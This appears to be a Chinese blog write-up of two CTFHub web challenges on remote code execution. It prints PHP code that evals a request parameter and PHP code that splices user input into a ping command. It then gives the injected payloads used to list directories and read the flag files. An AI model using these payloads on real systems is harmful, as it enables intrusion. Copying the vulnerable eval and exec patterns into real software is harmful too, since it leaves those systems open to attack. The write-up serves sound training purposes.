CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”

文章目录

  • 一、eval执行
  • 二、命令注入

–>CTFHub传送门<–

一、eval执行


if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行
先查看一下根目录文件 /?cmd=system("ls");
!切记最后的分号不可省略!
CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”_第1张图片
没有需要的文件
看看上一级的文件夹 /?cmd=system("ls /");
!切记最后的分号不可省略!

在这里插入图片描述
打开flag文件发现FLAG /?cmd=system("cat flag_1171");
!切记最后的分号不可省略!

在这里插入图片描述

二、命令注入

打开界面,命令应该是通过表单注入的
CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”_第2张图片
关键代码



$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

IP会拼接成CMD指令然后运行
先测试一下IP 127.0.0.1
CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”_第3张图片
试一下能否用分号间隔运行多重命令
试试获取目录 127.0.0.1;pwd;ls;
CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”_第4张图片
发现同目录下还有一个PHP,应该就是FLAG的位置
直接打开看看 127.0.0.1;cat 2160627659946.php
**但是发现打不开!**猜测可能是里面有特殊字符
使用管道运行base64加密内容再打开
127.0.0.1;cat 2160627659946.php | base64
显示的密文即是FLAG
CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”_第5张图片

欢迎在评论区留言
感谢浏览

你可能感兴趣的:(#,Web,信息安全,安全,cmd,php)